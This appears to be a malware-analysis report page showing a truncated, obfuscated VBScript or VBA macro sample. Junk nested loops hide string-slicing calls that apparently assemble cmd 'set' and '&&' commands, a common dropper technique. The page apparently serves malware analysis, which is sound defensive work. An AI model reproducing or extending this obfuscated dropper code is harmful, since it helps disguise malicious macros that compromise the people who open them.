uAEtC For Each zzDEd In qarlXW rNcaop = zBjZT Next Next qZOJjDYPq = KjQBK("AWL%lbTK&&set %Cd,Q", 5, 13) For Each oHGvdW In GHoHz jBCzRi = 75745 - ULRZP For Each zMwTi In nrjUvI VVjZV = KGDuDO Next Next For Each AYJiC In liIFrw qzoilA = 75124 - IzMnD For Each utGIb In IOwZaq VoAWWR = RbfAR Next Next DXiwwcBbjdZ = KjQBK("qet %NNNRFWVA%=ebacwJr&NaMwG5", 2, 18) For Each bqrZzv In YrpBwQ VcAPD = 91185 - RWHcp For Each srTNG In BQSWWb qUiwwa = KpoaQ Next Next For Each EURVA In AFissQ wVkCE = 66529 - Liusi For Each csRhK In jPrHIw szVMjW = KhJBjb Next Next HiBizMiTOHb = KjQBK("Dv@mvAYsDXzOvn%", 5, 6) For Each EHaaZ In qBHnAh jEFNc = 10747 - pDpROW For Each zviQwj In cIQhiG rpiMwM = FcvZi Next Next For Each rrNwu In PbokdX oUFof = 4094 - muzwd For Each ckXRCH In SnWAn KjRYN = OTtvF Next Next jBZri = KjQBK("UXivsodIKnmJ", 4, 6) For Each ailazt In VORiD iWUsB = 96934 - BQrsU For Each kmONj In SaccRr ciSBtC = Bfnua Next Next For Each KnFiP In CSWOnd PjEdMK = 33908 - dWzVlJ For Each WZlTP In uloMJ YLkjCY = pYcIC Next Next ZwMrnVdh = KjQBK("Z@nclnHq%!!%zsMzqwNbW", 5, 15) For Each fjhQGI In lnwwdU UVuQQ = 6011 - tbtqz For Each PTquRj In kcNUiD AkPnDh = BUdLr Next Next For Each qVwwd In FGoKF IwWiqG = 59881 - RQEuC For Each wCnbXU In UsHtm fUtdZ = LAGIq Next Next rhiSDQRbGd = KjQBK("jEw%=FKLH.GjawN", 2, 7) For Each ZiDoZR In uiQCS mlmoD = 29081 - DzAzYm For Each hrwruz In wqFfTp riORaR = bYMCtF Next Next For Each wXtjv In ahWhi OTZzO = 17830 - EFGAb For Each fwKMOz In HowBYi sKMMav = DPIvp Next Next qcIfRiw = KjQBK("OUjSAMBfR&&sLdG", 4, 9) For Each cSNqX In jPcQV jCGZX = 46826 - jKHut For Each ajabhC In YkDpb iGwjQ = rDrsSi Next Next For Each fVVPWq In HRNcon EunCT = 43077 - FPjcwb For Each BnTcIk In IBDkXD YsTVjJ = FEFta Next Next AniAcY = KjQBK("z%hnSUzjY%=s&L,OmHu", 2, 12) For Each aGmmX In TGdtA DLwtkR = 92625 - zhWPH For Each RNvjO In ikUBOR Hkmuw = pdwRL Next Next For Each fCimFv In dMZDP cAoUGS = 48944 - iWCWOV For Each YruuT In cXJTGi nSkWNN = VzuVT Next Next QWAYKMz = KjQBK("YHHset mPAroW", 4, 4) For Each EBjjQ In ZEFUiJ DzdfAA = 77455 - DLmfIB For Each zbzYa In jbqcD FjiwF = RJEsR Next Next For Each CKlXQm In oJAiCv SwYDI = 67157 - dcEikH For Each pnGsOl In aKvPrh HzLtYM = qVjiHk Next Next fWtQFiqu = KjQBK("pAAtp%=ll&&!%vHkCwQTklY8", 3, 16) For Each ijpfi In wWupnK rncoR = 2555 - VitoMu For Each wSZOH In UsiGj zwlCW = OwsDs Next Next For Each VDCvcI In pbBEsr YwOanw = 73568 - sDsTuI For Each lbEBfj In QfoJaz Cawji = dtsdq Next Next fUKnWJjNLwI = KjQBK("pJisUmset vQ", 7, 4) For Each mLwDIO In MqZzqL ohjli = 41530 - MpdvjM For Each ArjaKo In YRcfvp fdaGYU = vKGzUE Next Next For Each rZzZBO In niZcc Afitd = 2124 - ioSPYD For Each NLFLSB In zitjRE XRipl = pHOTql Next Next aYiictjwM = KjQBK("%aSHhSYKN.f", 5, 5) For Each HCGjB In izbcNK kDBlKM = 93547 - LXjamQ For Each GzmUjw In uXJiT FvoUf = BmGcI Next Next For Each tuucbI In iYzkn uifXTz = 11953 - LsRslh For Each MXHlY In npjza ciAjM = VrnzT Next Next QWjraw = KjQBK("pw@Zme&&set %MCm", 6, 9) For Each PwJhCc In paoVBr PbGpvX = 86682 - dsLLF For Each QpjOD In WbHGm PkzoM = oOFtlz Next Next For Each QHEFzP In ZMIEB TnAViR = 58000 - abDKH For Each GMLHqn In TnHhrz MzLbr = NmtUc Next Next JopRGWUlARv = KjQBK("hUFnVA1%=!%CdNMHYGd", 8, 10) For Each AYpfBu In kANABO zAzsn = 74932 - HsdQc For Each ARUTr In LnXdIG BOVzwJ = iGMnA Next Next For Each otVGlP In jFdkn EnnZXS = 63103 - dqDEXu For Each AKsjDK In lkCCfA VUwRt = RIdQFa Next Next zBwsFNP = KjQBK("%z3cwm%!&&set %kksniErAi.9", 5, 19) For Each KCSBN In ciulD cGBCXV = 75233 - YHWEni For Each Usjbb In DniSAo Xhbiv = QZPFGv Next Next For Each jlbXu In UQoiVi RrRUw = 52823 - Iwckn For Each mYsDC In YfnzmR sBcQiz = wmwNwZ Next Next BLEzpXMjiY = KjQBK("a0mCWMW=aFkczUi9", 8, 7) For Each TIhIrk In NvXlbi bitfC = 17175 - NjiwkF For Each AbfHd In FXFpv FfFEfC = XUICh Next Next For Each lWQBr In PbIaAp YBwKR = 99489 - CzqRk For Each hMISZ In EqFbj WNhDMU = akmDLH Next Next orkARKTLuiZ = KjQBK("Vo%uIoucklfLNHwO", 3, 7) For Each wOTnj In RYsDTq wlKTa = 26312 - vmXzl For Each WJjvI In KSEqWR kdwUik = TvpZT Next Next For Each PnuJA In RaYXLi LqCAzc = 52296 - idDUr For Each HCwAiA In rbzoEM aOIIjr = mwvnK Next Next BqmcW = KjQBK("omRdol4HOwh", 3, 2) For Each NjKro In wKXZW ijTOEM = 86394 - khUVu For Each zZUFDN In fkLRG vNjCol = wLiYri Next Next For Each NOuNI In uYQUU VkOBTY = 57657 - RGujRk For Each oYQHCI In dSHSwb wSajB = Bspqw Next Next VUOlZJXKw = KjQBK("9UJHt %GbHqkZJj%fA", 5, 12) For Each YtHTO In XZFAAM rjGwt = 692 - CYVnUw For Each PcwiZ In qjsVw XYCKvS = RJmuw Next Next For Each uoEiYC In WZXzUE pTlrt = 98258 - BwiWb For Each XbiQaD In wzUwq nUlWa = dsiRA Next Next wAHiovFPj = KjQBK("H4EHhIouckJwb8Rc", 6, 7) For Each Rwcss In MwCUu GXQlGs = 98631 - BnLhQa For Each SzGpK In OIHqGF ktDTZq = Cnslp Next Next For Each SzmNB In jziLU iHafDd = 2257 - JzatBs For Each OCjsjU In VDVGMm hNmJDH = wUckLt Next Next JKzTG = KjQBK("TWiAjKfOHFXa%=DCiGZILAUX,", 3, 19) For Each VZsLIG In uwToO lXJzRO = 80970 - jnkwkH For Each iEHUa In AdduDj mPTUo = GZKfT Next Next For Each WAKUj In DOzNO zfMtv = 68241 - nAzcc For Each ajFmAj In iCzfT VOjNR = itHRA Next Next oWhcCfQq = KjQBK("wZ0z&&seUD", 5, 4) For Each ZooiTY In hqJRz wdJavj = 63015 - nNtGmj For Each wkSRF In bvQEia lRMwi = SaUSLl Next Next For Each qKXTm In iBizR DVIBs = 83262 - wYhVCF For Each XncjnO In DFnHat uuQjN = BSZSOW Next Next QYsiYhqPn = KjQBK(".4Sq%%ITfKLPYXGLmwzQp%LwJ", 6, 17) For Each PzIpU In ooqZz DYzQV = 87574 - zXBdR For Each pJvEOK In RHQEz nMEPDV = UKWCC Next Next For Each iFBWF In LZwwj WBNvQX = 75242 - cSjNz For Each VPRGoL In HchXsJ XHTqww = LdkkvM Next Next WPAsIGPR = KjQBK("@9RkdONNRFWVA%!!%iO0", 7, 11) For Each qLVoX In rwHsJ cOZjX = 45796 - tuVzt For Each ArKmh In tzmRR iVpCb = ajdWjl Next Next For Each WBCkhE In WAwUw zcvNzw = 5729 - TvSTQ For Each wNzTq In SKhas FzFzES = OvoMG Next Next MLDnES = KjQBK("CMQqWwJ%=EqHa0zFC6", 3, 10) For Each OAkCF In QRwOIA djJnuU = 40768 - sDATr For Each ABKHBt In bMiHc bYHlww = pkFHur …

Open this report in the interactive analyzer, or submit your own file for analysis.